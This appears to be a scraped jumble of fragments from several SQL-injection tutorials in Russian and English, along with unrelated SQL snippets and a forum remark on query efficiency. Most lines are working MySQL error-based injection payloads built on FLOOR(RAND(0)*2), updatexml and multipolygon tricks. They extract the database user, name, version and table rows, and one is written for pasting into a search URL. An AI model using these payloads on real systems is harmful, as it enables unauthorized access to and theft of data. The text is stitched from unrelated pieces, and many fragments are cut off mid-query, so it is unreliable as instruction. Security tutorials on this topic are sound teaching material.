...COUNT(*),CONCAT_WS(CHAR(32,58,32),user(),database(),version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)
SELECT town, total_users FROM ( SELECT DISTINCT town FROM canada ) AS towns CROSS JOIN ( SELECT COUNT(*) total_users FROM canada
...(Select count(*),concat(0x7178766a71,(select (case when (2135=2135) then 1 else 0 end)),0x7162767071,floor(rand(0)*2))x from information_schema.character_sets group. BY x)a) AND '%'='&action=search. Просто подставим payload в адресную строку
multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b)). Возьмите updatexml в качестве примера.
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR
concat(0x0a,(SELECT concat(id,0x3a,name,0x3a,price,0x0a) FROM my_db.products LIMIT 0,1)))-- -. На этом всё друзья, а потренироваться можно на тех же задачах, ссылки на которые были в предыдущих статьях. Те же задачи уязвимые к union based, также решаются через XPATH.
' AND (SELECT 4287 FROM(SELECT COUNT(*),CONCAT(0x716a787071,(SELECT (ELT(4287=4287,1))),0x717a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b; Now, we have just nested the previous query into another select statement to get one column.
'union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+. Using the information_schema.tables table, similar information can also be used with information_schema.columns, etc. 1.
Theoretically, select top 1 'x' would be more efficient that select *, as the former would be complete after selecting a constant on the existence of a qualifying row, whereas the latter would select everything. HOWEVER, although very early on it may have been relevant, optimization has made the...